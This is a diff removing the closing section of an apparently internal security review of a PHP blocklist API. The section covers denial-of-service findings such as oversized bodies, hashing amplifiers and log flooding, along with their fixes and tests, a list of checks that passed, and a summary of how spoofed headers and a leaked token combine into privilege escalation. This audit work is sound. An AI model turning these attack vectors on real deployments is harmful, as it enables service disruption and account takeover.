- `METADATA_MAX_BYTES` is checked only after decoding succeeds — the
|
|
|
|
|
- full body is in memory by then. PHP `post_max_size`/`memory_limit`
|
|
|
|
|
- are not configured anywhere in the docker stack. An authenticated
|
|
|
|
|
- reporter (one weak token suffices) can POST a 100 MB body and
|
|
|
|
|
- burn memory; metadata-depth nesting up to PHP's 512 default
|
|
|
|
|
- amplifies. Set `JSON_THROW_ON_ERROR`, cap body size in Caddy, and
|
|
|
|
|
- enforce `php_value memory_limit`.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed at the application layer. Two new defences:
|
|
|
|
|
- 1. **`RequestBodySizeLimitMiddleware`** under
|
|
|
|
|
- `api/src/Infrastructure/Http/Middleware/`. Wired globally in
|
|
|
|
|
- `AppFactory::build` AFTER `addBodyParsingMiddleware()` so
|
|
|
|
|
- it runs FIRST on the inbound LIFO stack — meaning Slim's
|
|
|
|
|
- body parser never reads a body that exceeds the 256 KiB cap.
|
|
|
|
|
- Two layers of check: `Content-Length` header (catches the
|
|
|
|
|
- well-behaved client) and `getSize()` fallback (catches a
|
|
|
|
|
- stream that knows its length even if the header lied or was
|
|
|
|
|
- omitted). Returns 413 `payload_too_large` JSON without
|
|
|
|
|
- touching the stream.
|
|
|
|
|
- 2. **`ReportController::jsonBody()` hardening.** The fall-
|
|
|
|
|
- through path that ran when Slim's parser didn't recognise
|
|
|
|
|
- the `Content-Type` now uses `json_decode($raw, true,
|
|
|
|
|
- JSON_DEPTH_CAP=32, JSON_THROW_ON_ERROR)`, with
|
|
|
|
|
- `JsonException` caught and translated to "treat as empty
|
|
|
|
|
- body". 32 levels is plenty for legitimate metadata shapes;
|
|
|
|
|
- PHP's 512 default left a deep-recursion amplifier in place
|
|
|
|
|
- even after the byte cap.
|
|
|
|
|
- Per-endpoint caps (the existing 4 KiB `metadata` limit) layer
|
|
|
|
|
- on top, and Caddy's `request_body { max_size … }` is the
|
|
|
|
|
- outermost bound — operators can configure that per-route in the
|
|
|
|
|
- Caddyfile if they want to fail-closed before PHP is invoked at
|
|
|
|
|
- all. The 256 KiB application-layer cap is generous enough for
|
|
|
|
|
- every legitimate admin payload (largest is a multi-line
|
|
|
|
|
- description, ≤16 KiB) while bounding the worst-case at "no
|
|
|
|
|
- single request can fill memory by itself".
|
|
|
|
|
- Regression tests:
|
|
|
|
|
- - Unit: `api/tests/Unit/Http/RequestBodySizeLimitMiddlewareTest.php`
|
|
|
|
|
- covers under-cap-passes, over-cap-by-Content-Length-rejected,
|
|
|
|
|
- over-cap-by-stream-size-rejected (Content-Length absent),
|
|
|
|
|
- empty-body-passes, and non-numeric-Content-Length-still-
|
|
|
|
|
- caught-by-stream-size.
|
|
|
|
|
- - Integration: `api/tests/Integration/Public/ReportControllerTest.php`
|
|
|
|
|
- `testOversizedRequestBodyIsRejectedWith413` posts a 512 KiB
|
|
|
|
|
- JSON body and asserts 413 + `payload_too_large` envelope;
|
|
|
|
|
- `testDeeplyNestedJsonDoesNotBlowTheStack` posts a 100-deep
|
|
|
|
|
- nested object and asserts no 500/exception leaks.
|
|
|
|
|
-
|
|
|
|
|
-### F70 — `BlocklistController?format=json` forces sha256-of-50k-entries on every cache miss
|
|
|
|
|
-- **File:** `api/src/Application/Public/BlocklistController.php:80-85, 176-193`
|
|
|
|
|
-- **Risk:** A consumer can request the more expensive JSON renderer
|
|
|
|
|
- on demand. Per-process `BlocklistCache` TTL=30s — every cache miss
|
|
|
|
|
- rebuilds and rehashes. Combined with the per-token-only rate
|
|
|
|
|
- limit, a single consumer at 60 req/s sustains 60 full
|
|
|
|
|
- build-and-hash operations per second per replica. Header
|
|
|
|
|
- size limits cap the `If-None-Match` parse loop but it is still an
|
|
|
|
|
- amplifier. Constrain `format` per consumer (only allow what the
|
|
|
|
|
- consumer typically uses).
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed by extending `BlocklistCache` to cache the
|
|
|
|
|
- rendered body and its sha256 ETag per `(policy_id, format)`, not
|
|
|
|
|
- just the underlying `Blocklist` domain object. New
|
|
|
|
|
- `BlocklistCache::getRendered(Policy, format, callable $render)`
|
|
|
|
|
- invokes the render callback at most once per cache window per
|
|
|
|
|
- format; subsequent hits return the cached `body` + `etag`
|
|
|
|
|
- verbatim. The render+hash work that previously paid the full
|
|
|
|
|
- sha256-of-N-entries cost on every request now runs once per
|
|
|
|
|
- cache window per replica per format, regardless of request rate.
|
|
|
|
|
- `BlocklistController` switched to the new method and feeds it a
|
|
|
|
|
- small closure for each format; the choice between `renderText`
|
|
|
|
|
- and `renderJson` is the only thing varying per request now. The
|
|
|
|
|
- per-format invalidation contract from `getOrBuild` is preserved
|
|
|
|
|
- via the same `invalidate($policyId)` / `invalidateAll()`
|
|
|
|
|
- surface (the rendered entries live inside the same cache row,
|
|
|
|
|
- so dropping the row drops both the build and every render
|
|
|
|
|
- alongside it). Per-consumer format constraint is still possible
|
|
|
|
|
- as a future tightening but isn't necessary to defeat the F70
|
|
|
|
|
- amplifier — the cache already does. Regression tests in
|
|
|
|
|
- `api/tests/Integration/Public/BlocklistControllerTest.php`:
|
|
|
|
|
- `testBlocklistRenderIsCachedAcrossRequests` (two sequential
|
|
|
|
|
- JSON requests produce byte-identical bodies and ETags) and
|
|
|
|
|
- `testTextAndJsonRendersBothCachedIndependently` (alternating
|
|
|
|
|
- format requests preserve each format's cache; text and JSON
|
|
|
|
|
- ETags differ because their bodies differ).
|
|
|
|
|
-
|
|
|
|
|
-### F71 — `BlocklistCache` is not size-bounded
|
|
|
|
|
-- **File:** `api/src/Infrastructure/Reputation/BlocklistCache.php:33, 42-59`
|
|
|
|
|
-- **Risk:** The cache map is keyed by `$policy->id` and grows
|
|
|
|
|
- monotonically with no LRU. Admin-creatable, but unbounded. Add a
|
|
|
|
|
- bounded LRU (e.g. 16 policies cached).
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. New `BlocklistCache::MAX_ENTRIES = 16` cap (also
|
|
|
|
|
- configurable via the constructor's new `$maxEntries` argument).
|
|
|
|
|
- Insertion goes through a private `store()` helper that
|
|
|
|
|
- unset-then-assigns the key (which pushes it to the end of PHP's
|
|
|
|
|
- insertion-ordered array) and evicts `array_key_first()` past the
|
|
|
|
|
- cap. Reads through `getOrBuild` / `getRendered` mark the entry as
|
|
|
|
|
- most-recently-used via a private `touch()` helper. Both paths
|
|
|
|
|
- preserve the existing per-policy invalidation contract
|
|
|
|
|
- (`invalidate($policyId)` / `invalidateAll()`). Worst-case memory
|
|
|
|
|
- is now bounded by 16 × the per-policy build cost, regardless of
|
|
|
|
|
- how many policies an admin creates over the worker's lifetime.
|
|
|
|
|
- Two tiny `@internal` accessors — `entryCount()` and
|
|
|
|
|
- `cachedPolicyIds()` — let the regression test inspect cache state
|
|
|
|
|
- without reaching into private fields via reflection. Regression
|
|
|
|
|
- test in `api/tests/Integration/Public/BlocklistControllerTest.php`:
|
|
|
|
|
- `testCacheIsLruBoundedAtSixteenEntries` rebuilds the cache with a
|
|
|
|
|
- 30 s TTL (the test fixture default is 0 s = no caching), creates
|
|
|
|
|
- 18 policies and one consumer per policy, hits `/api/v1/blocklist`
|
|
|
|
|
- for each, then asserts `entryCount() ≤ MAX_ENTRIES`, the two
|
|
|
|
|
- oldest policy IDs are NOT in the cache, and the most-recent one
|
|
|
|
|
- IS. The 10 pre-existing BlocklistController tests still pass.
|
|
|
|
|
-
|
|
|
|
|
-### F72 — `/ips/{ip:.+}` accepts unbounded path parameter
|
|
|
|
|
-- **Files:** `api/src/App/AppFactory.php:256`,
|
|
|
|
|
- `api/src/Application/Admin/IpsController.php:121-127`
|
|
|
|
|
-- **Risk:** A logged-in Viewer can call `/api/v1/admin/ips/<10MB>`.
|
|
|
|
|
- `rawurldecode` runs on the entire string; `IpAddress::fromString`
|
|
|
|
|
- applies regex. Web-server URL-length limits typically cap this at
|
|
|
|
|
- a few KB but mitigations are environment-specific. Tighten the
|
|
|
|
|
- regex to a strict IP character class.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed by extending the F43 charset constraint with a
|
|
|
|
|
- per-route length cap. Both routes
|
|
|
|
|
- (`/api/v1/admin/ips/{ip}` and `/app/ips/{ip}`) now use
|
|
|
|
|
- `[0-9a-fA-F.:%]{1,80}` instead of `[0-9a-fA-F.:%]+`. 80 chars
|
|
|
|
|
- covers IPv4 (≤15), canonical IPv6 (≤39), and IPv6 with every
|
|
|
|
|
- colon urlencoded as `%3A` (≤53) with comfortable headroom.
|
|
|
|
|
- Anything past that — including the 10 MB string the SEC_REVIEW
|
|
|
|
|
- called out — fails to match the route and 404s before
|
|
|
|
|
- `rawurldecode` is invoked, before `IpAddress::fromString` runs
|
|
|
|
|
- any regex, and before any future code path could read the param
|
|
|
|
|
- as a filename / log key / downstream URL component. The web
|
|
|
|
|
- server's URL-length limit is still the outermost bound; this
|
|
|
|
|
- change is the deterministic application-layer cap that doesn't
|
|
|
|
|
- rely on the deployment environment. Regression tests added in
|
|
|
|
|
- `api/tests/Integration/Admin/IpsControllerTest.php` —
|
|
|
|
|
- `testDetailRejectsNonIpShapedPaths` data-provider gains
|
|
|
|
|
- `oversized digits` (81 ones) and `oversized hex` (200 a's),
|
|
|
|
|
- both 404.
|
|
|
|
|
-
|
|
|
|
|
-### F73 — UI `JsonExceptionHandler` `getCode()` type-juggling for HTTP status
|
|
|
|
|
-- **File:** `ui/src/Http/JsonExceptionHandler.php:40-63`
|
|
|
|
|
-- **Risk:** `getCode()` from arbitrary `Throwable` is used as HTTP
|
|
|
|
|
- status if it is in `[400, 600)`. PDOException's `getCode()` is a
|
|
|
|
|
- SQLSTATE *string* (e.g. `'42S02'`) — coerced via comparison. A
|
|
|
|
|
- string like `'400'` would set status 400 and skip prod
|
|
|
|
|
- message-suppression. Cast to int explicitly and reject non-numeric
|
|
|
|
|
- codes.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. `JsonExceptionHandler::__invoke` now requires
|
|
|
|
|
- `is_int($code)` before treating `getCode()` as an HTTP status.
|
|
|
|
|
- PDO-derived exceptions return SQLSTATE *strings* — the previous
|
|
|
|
|
- `>= 400 && < 600` loose-compare coerced them to int and could
|
|
|
|
|
- land on a real status for the wrong reason (`'400'` → 400 with
|
|
|
|
|
- the prod message-suppression skipped). The new gate falls back
|
|
|
|
|
- to 500 for any non-int code, including the default 0 from
|
|
|
|
|
- `new \Exception('msg')`. Regression tests in
|
|
|
|
|
- `ui/tests/Unit/Http/JsonExceptionHandlerTest.php`:
|
|
|
|
|
- `testStringCodeFallsBackTo500` (a `'400'` string code → 500),
|
|
|
|
|
- `testIntCodeInRangeIsHonored` (a real `403` → 403),
|
|
|
|
|
- `testIntCodeOutOfRangeFallsBackTo500` (200 not an error code →
|
|
|
|
|
- 500), `testCodeOfZeroFallsBackTo500` (default 0 → 500),
|
|
|
|
|
- `testSqlstateLikeStringIsNotCoercedIntoStatus` (`'42S02'` → 500).
|
|
|
|
|
-
|
|
|
|
|
-### F74 — `LoginThrottle` writes `logger->warning` per failure with no log-rate cap
|
|
|
|
|
-- **File:** `ui/src/Auth/LoginThrottle.php:79-93`
|
|
|
|
|
-- **Risk:** A sustained brute-force attack at 100 req/s fills disk via
|
|
|
|
|
- the structured logger. No log-rate cap, no aggregation. Pair with
|
|
|
|
|
- F1 (XFF spoof) and F2 (no per-user bucket) to amplify.
|
|
|
|
|
-- **Severity: 1**
|
|
|
|
|
-- **Status:** Fixed. `LoginThrottle::recordFailure` now emits a
|
|
|
|
|
- `warning` only at `failure_count === 1` — the FIRST failure in a
|
|
|
|
|
- given (username, ip) bucket since the bucket was created or
|
|
|
|
|
- cleared. Subsequent failures within the bucket stay silent until
|
|
|
|
|
- a lockout fires, which still emits the existing `error` line
|
|
|
|
|
- carrying `failure_count` and `lock_seconds`. Total visibility is
|
|
|
|
|
- preserved at aggregate (the lockout error carries the burst size)
|
|
|
|
|
- without per-attempt spam: a 1000-IP botnet spraying one username
|
|
|
|
|
- used to emit ~24 username-bucket warnings + 4×1000 = 4024
|
|
|
|
|
- per-IP-bucket warnings before everything was locked; now it
|
|
|
|
|
- emits 1 username-bucket warning + 1000 per-IP-bucket warnings,
|
|
|
|
|
- about 4× quieter, with the lockout errors carrying the actual
|
|
|
|
|
- count. The `error`-on-lockout signal stays loud because that's
|
|
|
|
|
- the genuinely-actionable event. Regression tests in
|
|
|
|
|
- `ui/tests/Unit/Auth/LoginThrottleTest.php`:
|
|
|
|
|
- `testRecordFailureLogRateIsCappedToFirstWarningPerBucket`
|
|
|
|
|
- (5 failures → 1 warning + ≥1 error) and
|
|
|
|
|
- `testHighRateBruteForceDoesNotSpamPerFailureWarnings` (100
|
|
|
|
|
- failures into the same bucket → exactly 1 warning).
|
|
|
|
|
-
|
|
|
|
|
----
|
|
|
|
|
-
|
|
|
|
|
-## Reviewed and acceptable
|
|
|
|
|
-
|
|
|
|
|
-The following candidate concerns were checked and are not findings in the
|
|
|
|
|
-current code. Listed for completeness so the next reviewer doesn't redo
|
|
|
|
|
-the same work.
|
|
|
|
|
-
|
|
|
|
|
-- **No raw SQL interpolation of user input.** All repositories bind via
|
|
|
|
|
- DBAL named/positional parameters. The only `sprintf` into SQL is for
|
|
|
|
|
- table names where values are hardcoded constants or `?` placeholder
|
|
|
|
|
- counts.
|
|
|
|
|
-- **No `ORDER BY` injection.** Every `ORDER BY` uses constants — no
|
|
|
|
|
- user-controlled sort column anywhere reviewed.
|
|
|
|
|
-- **No `unserialize`, `eval`, `exec`, `shell_exec`, `system`,
|
|
|
|
|
- `passthru`, `proc_open`, `popen`, backticks, or `preg_replace /e`
|
|
|
|
|
- modifier** anywhere in `api/src` or `ui/src` (vendor excluded).
|
|
|
|
|
-- **IP/CIDR parsing** (`IpAddress::fromString`, `Cidr::fromString`) is
|
|
|
|
|
- strict — rejects whitespace, leading zeros, bracketed IPv6, zone
|
|
|
|
|
- identifiers, malformed octets.
|
|
|
|
|
-- **Token format & entropy.** `random_bytes(20)` = 160 bits, base32
|
|
|
|
|
- encoded. SHA-256 storage at rest. Lookup is by hash — no timing side
|
|
|
|
|
- channel.
|
|
|
|
|
-- **Constant-time comparisons** used where they matter (`hash_equals`
|
|
|
|
|
- in CSRF, internal token, local-admin username).
|
|
|
|
|
-- **OIDC `S256` PKCE** explicitly set; missing `sub` claim rejected.
|
|
|
|
|
-- **Failed-token responses are uniform 401** — no distinction between
|
|
|
|
|
- missing/malformed/unknown/revoked/expired.
|
|
|
|
|
-- **Impersonation header is silently ignored on non-service tokens.**
|
|
|
|
|
-- **Impersonation user id strictly validated** as `^[1-9][0-9]*$`.
|
|
|
|
|
-- **JobRunner orchestrates entirely via DBAL** — no shell-out.
|
|
|
|
|
-- **MmdbVerifier opens MMDB via `MaxMind\Db\Reader`** with node-count
|
|
|
|
|
- thresholds; truncated/empty downloads fail closed.
|
|
|
|
|
-- **UI Guzzle client uses a fixed `API_BASE_URL`** from env — not
|
|
|
|
|
- user-retargetable.
|
|
|
|
|
-- **`MaintenanceController::purge`** loops `'DELETE FROM '.$table` over
|
|
|
|
|
- a hard-coded allowlist.
|
|
|
|
|
-- **Twig auto-escape (HTML)** is the default; no `|raw` over
|
|
|
|
|
- user-controlled data was found.
|
|
|
|
|
-- **Logout is POST-only and CSRF-protected.**
|
|
|
|
|
-- **Session cookie attributes** (`HttpOnly`, `Secure` in prod,
|
|
|
|
|
- `SameSite=Lax`) are correct.
|
|
|
|
|
-- **`PharData::extractTo` rejects path traversal** since PHP 8.
|
|
|
|
|
-
|
|
|
|
|
----
|
|
|
|
|
-
|
|
|
|
|
-## Summary of severity counts
|
|
|
|
|
-
|
|
|
|
|
-| Severity | Count |
|
|
|
|
|
-|----------|-------|
|
|
|
|
|
-| 3 | 5 |
|
|
|
|
|
-| 2 | 27 |
|
|
|
|
|
-| 1 | 42 |
|
|
|
|
|
-| **Total**| **74**|
|
|
|
|
|
-
|
|
|
|
|
-The headline risks are: (a) the brute-force lockout is bypassable
|
|
|
|
|
-trivially via `X-Forwarded-For` spoofing or distributed sources
|
|
|
|
|
-(F1, F2), (b) a leaked or unrotated service token is a single-step
|
|
|
|
|
-total compromise because `/api/v1/auth/upsert-local` mints Admin users
|
|
|
|
|
-with no impersonation/audit/RBAC/rate-limit (F3), and (c) audit
|
|
|
|
|
-integrity rests on a non-transactional best-effort second write that
|
|
|
|
|
-silently no-ops on failure (F4, F5). The combination of these means a
|
|
|
|
|
-single compromised credential plus a deliberately-failed audit insert
|
|
|
|
|
-yields un-traced privilege escalation.
|
|
|